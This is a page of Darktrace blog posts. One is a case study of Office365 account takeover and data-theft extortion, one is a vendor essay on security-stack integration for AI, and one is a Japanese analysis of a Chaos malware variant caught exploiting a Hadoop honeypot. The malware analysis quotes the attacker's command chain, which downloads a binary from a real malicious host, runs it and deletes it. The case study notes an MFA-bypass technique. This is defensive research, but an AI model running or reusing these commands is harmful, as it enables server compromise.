ブログ
/
Cloud
/
September 20, 2022

Modern Extortion: Detecting Data Theft From the Cloud

Darktrace highlights a handful of data theft incidents on shared cloud platforms, showing that cloud computing can be a vulnerable place for modern extortion.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adrianne Marques
Senior Research Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Sep 2022

Ransomware Industry

The ransomware industry has benefitted from a number of factors in recent years: inadequate cyber defenses, poorly regulated cryptocurrency markets, and geopolitical tensions have allowed gangs to extort increasingly large ransoms while remaining sheltered from western law enforcement [1]. However, one of the biggest success stories of the ransomware industry has been the adaptability and evolution of attacker TTPs (tactics, techniques and procedures). The WannaCry and NotPetya attacks of 2017 popularized a form of ransomware which used encryption algorithms to hold data to ransom in exchange for a decryption key. Last year in 2021, almost all ransomware strains evolved to use double extortion tactics: holding stolen data to ransom as well as encrypted data [2]. Now, some ransomware gangs have dropped encryption entirely, and are using data theft as their sole means of extortion. 

Using data theft for extortion is not new. In 2020 the Finnish psychotherapy center Vastaamo had over 40,000 patient records stolen. Impacted patients were told that their psychiatric transcripts would be published online if they failed to pay a Bitcoin ransom. [3]. A later report by BlackFog in May 2021 predicted data theft extortion would become one of the key emerging cybersecurity trends that year [4]. Adoption of offline back-ups and endpoint detection had made encryption harder, while a large-scale move to Cloud and SaaS platforms offered new vectors for data theft. By moving from data encryption to data exfiltration, ransomware attackers pivoted from targeting data availability within the CIA triad (Confidentiality, Integrity, Availability) to threatening data confidentiality.

In November 2021, Darktrace detected a data theft incident following the compromise of two SaaS accounts within an American tech customer’s Office365 environment. The client was a longstanding user of Darktrace DETECT/Network, and was in the process of expanding their coverage by trialing Darktrace DETECT+RESPOND/ Apps + Cloud.

Attack Overview

On November 23rd 2021, an Ask the Expert (ATE) ticket was raised prompting investigation into a breached SaaS model, ‘SaaS / Access / Unusual External Source for SaaS Credential Use’, and the activities of a user (censored as UserA) over the prior week.

1. Office365: UserA 

The account UserA had been logging in from an unusual location in Nigeria on November 21st. At the time of the incident there were no flags of malicious activity from this IP in widely used OSINT sources. It is also highly probable the attacker was not located in Nigeria but using Nigerian infrastructure in order to hide their true location. Regardless, the location of the login from this IP and ASN was considered highly unusual for users within the customer’s digital estate. The specific user in question most commonly accessed their account from IP ranges located in the US.

Figure 1: In the Geolocation tab of the External Sites Summary on the SaaS Console, UserA was seen logging in from Nigeria when previous logins were exclusively from USA

Further investigation revealed an additional anomaly in the Outlook Web activity of UserA. The account was using the Firefox browser to access their account for the first time in at least 4 weeks (the maximum period for which the customer stored such data). SaaS logs detailing the access of confidential folders and other suspicious actions were identified using the Advanced Search (AS) query:

@fields.saas_actor:"UserA@[REDACTED]" AND @fields.saas_software:"Firefox"

Most actions were ‘MailItemsAccessed’ events originating from IPs located in Nigeria [5,6] and one other potentially malicious IP located in the US [7].

‘MailItemsAccessed’ is part of the new Advanced Audit functionality from Microsoft and can be used to determine when email data is accessed by mail protocols and clients. A bind mail access type denotes an individual access to an email message [8]. 

Figure 2: AS logs shows UserA had not used Firefox to access Office365 for at least 4 weeks prior to the unusual login on the 21st November

Below are details of the main suspicious SaaS activities: 

·      Time: 2021-11-21 09:05:25 - 2021-11-22 16:57:39 UTC

·      SaaS Actor: UserA@[REDACTED]

·      SaaS Service: Office365

·      SaaS Service Product: Exchange

·      SaaS Software: Firefox

·      SaaS Office365 Parent Folders:

          o   \Accounts/Passwords
          o   \Invoices
          o   \Sent Items
          o   \Inbox
          o   \Recoverable Items\Deletions

·      SaaS Event:

          o   MailItemsAccessed
          o   UserLoggedIn
          o   Update

·      SaaS Office365 Mail Access Type: Bind (47 times)

·      Source IP addresses:

          o   105.112.59[.]83
          o   105.112.36[.]212
          o   154.6.17[.]16
          o   45.130.83[.]129

·      SaaS User Agents: 

          o   Client=OWA;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0;
          o   Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0

·      Total SaaS logs: 57 

At the start of the month on the 5th November, the user had also been seen logging in from a potentially malicious endpoint [9] in Europe, performing ‘MailItemsAccessed’ and ‘Updates’ events with subjects and a resource location related to invoices and wire transfers from the Sent items folder. This suggests the initial compromise had been earlier in the month, giving the threat actor time to make preparations for the final stages of the attack.

Figure 3: Event log showing the activity of UserA from IP 45.135.187[.]108 

2. Office365: UserB 

Looking into the model breach ‘SaaS / Access / Suspicious Credential Use And Login User-Agent’, it was seen that a second account, UserB, was also observed logging in from a rare and potentially malicious location in Bangladesh [7]. Similar to UserA, this user had previously logged in exclusively from the USA, and no other accounts within the digital estate had been observed interacting with the Bangladeshi IP address. The login event appeared to bypass MFA (Multi-factor Authentication) and a suspicious user agent, BAV2ROPC, was used. Against misconfigured accounts, this Microsoft user agent is commonly used by attackers to bypass MFA on Office365. It targets Exchange’s Basic Authentication (normally used in POP3/IMAP4 conditions) and results in an OAuth flow which circumvents the additional password security brought by MFA [10].  

During the session, additional resources were accessed which appear to be associated with bill and invoice payments. In addition, on the 4th November, two new suspicious email rules named “..” were created from rare IPs (107.10.56[.]48 and 76.189.202[.]66). This type of behavior is commonly seen during SaaS compromises to delete or forward emails. Typically, an email rule created by a human user will be named to reflect the change being made, such as ‘Move emails from Legal to Urgent’. In contrast, malicious email rules are often short and undescriptive. The rule “..” is likely to blend in without arousing suspicion, while also being easy for the attacker to create and remember. 

Details of these rule changes are as follows:

·      Time: 2021-11-04 13:25:06, 2021-11-05 15:50:00 [UTC]
·      SaaS Service: Office365
·      SaaS Service Product: Exchange
·      SaaS Status Message: True
·      SaaS Source IP addresses: 107.10.56[.]48, 76.189.202[.]66
·      SaaS Account Name: O365
·      SaaS Actor: UserB@[REDACTED]
·      SaaS Event: SetInboxRule
·      SaaS Office365 Modified Property Names:
          o   AlwaysDeleteOutlookRulesBlob, Force, Identity, MoveToFolder, Name, FromAddressContainsWords, StopProcessingRules
          o   AlwaysDeleteOutlookRulesBlob, Force, Identity, Name, FromAddressContainsWords, StopProcessingRules
·      SaaS Resource Name: .. 

During cloud account compromises, attackers will often use sync operations to download emails to their local email client. During the operations, these clients typically download a large set of mail items from the cloud to a local computer. If the attacker is able to sync all mail items to their mail client, the entire mailbox can be compromised. The attacker is able to disconnect from the account and review and search the email without generating additional event logs. 

Both accounts UserA and UserB were observed using ‘MailItemsAccessed’ sync operations between the 1st and 23rd November when this attack occurred. However, based on the originating IP of the sync operations, the activity is likely to have been initiated by the legitimate, US-based users. Once the security team were able to confirm the events were expected and legitimate, they could establish that the contents of the mailbox were not a part of the data breach. 

Accomplish Mission

After gaining access to the Office365 accounts, sensitive data was downloaded by the attackers to their local system. Either on or before 14th December, the attacker had seemingly uploaded the documents onto a data leak website. In total, 130MB of data had been made available for download in two separate packages. The packages included audit and accounting financial documents, with file extensions such as DB, XLSX, and PDF.

Figure 4: The two data packages uploaded by the attacker and the extracted contents

In a sample of past SaaS activity of UserA, the subject and attachments appear related to the ‘OUTSTANDING PREPAY WIRES 2021’ excel document found from the data leak website in Figure 4, suggesting a further possibility that the account was associated with the leaked data. 

Historic SaaS activity associated with UserA: 

·      Time: 2021-11-05 21:21:18 [UTC]
·      SaaS Office365 Logon Type: Owner
·      Protocol: OFFICE365
·      SaaS Account Name: O365
·      SaaS Actor: UserA@[REDACTED].com
·      SaaS Event: Send
·      SaaS Service: Office365
·      SaaS Service Product: Exchange
·      SaaS Status Message: Succeeded
·      SaaS Office365 Attachment: WIRE 2021.xlsx (92406b); image.png (9084b); image.png (1454b); image.png (1648b); image.png (1691b); image.png (1909b); image.png (2094b)
·      SaaS Office365 Subject: Wires 11/8/21
·      SaaS Resource Location: \Drafts
·      SaaS User Agent: Client=OWA;Action=ViaProxy 

Based on the available evidence, it is highly likely that the data packages contain the data stolen during the account compromise the previous month.  

Once the credentials of an Office365 account are stolen, an attacker can not only access the user's mailbox, but also a full range of Office365 applications such as SharePoint folders, Teams Chat, or files in the user's OneDrive [11]. For example, files shared in Teams chat are stored in OneDrive for Business in a folder named Microsoft Teams Chat Files in the default Document library on SharePoint. One of the files visible on the data leak website, called ‘[REDACTED] CONTRACT.3.1.2020.pdf’, was also observed in the default document folder of a third user account (UserC) within the victim organization, suggesting the compromised accounts may have been able to access shared files stored on other accounts by moving laterally via other O365 applications such as Teams. 

One example can be seen in the below AS logs: 

·      Time: 2021-11-11 01:58:35 [UTC]
·      SaaS Resource Type: File
·      Protocol: OFFICE365
·      SaaS Account Name: 0365
·      SaaS Actor: UserC@[REDACTED]
·      SaaS Event: FilePreviewed
·      SaaS Service Product: OneDrive
·      SaaS Metric: ResourceViewed
·      SaaS Office365 Application Name: Media Analysis and Transformation Service
·      SaaS Office365 File Extension: pdf
·      SaaS Resource Location: https://[REDACTED]-my.sharepoint.com/personal/userC_[REDACTED]_com/Documents/Microsoft Teams Chat Files/[REDACTED] CONTRACT 3.1.2020.pdf
·      SaaS Resource Name: [REDACTED] CONTRACT 3.1.2020.pdf
·      SaaS Service: Office365
·      SaaS Service Product: OneDrive
·      SaaS User Agent: OneDriveMpc-Transform_Thumbnail/1.0 

In the period between the 1st and 30th November, the customer’s Darktrace DETECT/Apps trial had raised multiple high-level alerts associated with SaaS account compromise, but there was no evidence of file encryption.  

Establish Foothold 

Looking back at the start of the attack, it is unclear exactly how the attacker evaded the customer’s pre-existing security stack. At the time of the incident, the victim was using a Barracuda email gateway and Microsoft 365 Threat Management for their cloud environment. 

Darktrace detected no indication the accounts were compromised via credential bruteforcing, which would have enabled the attacker to bypass the Azure Active Directory smart lockout (if enabled). The credentials may have been harvested via a phishing campaign which successfully evaded the list of known ‘bad’ domains maintained by their email gateway.  

Upon gaining access to the account, the Microsoft Defender for Cloud Apps anomaly detection policies would have been expected to raise an alert [12]. In this instance, the unusual login from Nigeria occurred over 16 hours after the previous login from the US, potentially evading anomaly detection policies such as the ‘Impossible Travel’ rule. 

Figure 5: Event log showing the user accessing mail from USA a day before the suspicious usage from Nigeria 

Darktrace Coverage

Darktrace DETECT 

Throughout this event, high scoring model breaches associated with the attack were visible in the customer’s SaaS Console. In addition, there were two Cyber AI Analyst incidents for ‘Possible Account Hijack’ associated with the two compromised SaaS Office365 accounts, UserA and UserB. The visibility given by Darktrace DETECT also enabled the security team to confirm which files had been accessed and were likely part of the data leak.

Figure 6: Example Cyber AI Analyst incident of UserB SaaS Office365 account

Darktrace RESPOND

In this incident, the attackers successfully compromised O365 accounts in order to exfiltrate customer data. Whilst Darktrace RESPOND/Apps was being trialed and suggested several actions, it was configured in human confirmation mode. The following RESPOND/Apps actions were advised for these activities:  

·      ‘Antigena [RESPOND] Unusual Access Block’ triggered by the successful login from an unusual IP address, would have actioned the ‘Block IP’ inhibitor, preventing access to the account from the unusual IP for up to 24 hours
·      ‘Suspicious Source Activity Block’, triggered by the suspicious user agent used to bypass MFA, would have actioned the ‘Disable User’ inhibitor, disabling the user account for up to 24 hours 

During this incident, Darktrace RESPOND/Network was being used in fully autonomous mode in order to prevent the threat actor from pivoting into the network. The security team were unable to conclusively say if any attempts by the attacker to do this had been made. 

Concluding Thoughts  

Data theft extortion has become a widely used attack technique, and ransomware gangs may increasingly use this technique alone to target organizations without secure data encryption and storage policies.  

This case study describes a SaaS data theft extortion incident which bypassed MFA and existing security tools. The attacker appeared to compromise credentials without bruteforce activity, possibly with the use of social engineering through phishing. However, from the first new login, Darktrace DETECT identified the unusual credential use in spite of it being an existing account. Had Darktrace RESPOND/Apps been configured, it would have autonomously responded to halt this login and prevent the attacker from accomplishing their data theft mission.

Thanks to Oakley Cox, Brianna Leddy and Shuh Chin Goh for their contributions.

Appendices

References 

[1] https://securelist.com/new-ransomware-trends-in-2022/106457/

[2] https://www.itpro.co.uk/security/ransomware/367624/the-rise-of-double-extortion-ransomware

[3] https://www.malwarebytes.com/blog/news/2020/10/vastaamo-psychotherapy-data-breach-sees-the-most-vulnerable-victims-extorted

[4] https://www.blackfog.com/shift-from-ransomware-to-data-theft-extortion/

[5] https://www.abuseipdb.com/check/105.112.59.83

[6] https://www.abuseipdb.com/check/105.112.36.212

[7] https://www.abuseipdb.com/check/45.130.83.129

[8] https://docs.microsoft.com/en-us/microsoft-365/compliance/mailitemsaccessed-forensics-investigations?view=o365-worldwide

[9] https://www.abuseipdb.com/check/45.135.187.108

[10] https://www.virustotal.com/gui/ip-address/45.137.20.65/details

[11] https://tidorg.com/new-bec-phishing-attack-steals-office-365-credentials-and-bypasses-mfa/

[12] https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/responding-to-a-compromised-email-account?view=o365-worldwide

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adrianne Marques
Senior Research Analyst

More in this series

No items found.

Blog

/

AI

/

April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

Default blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ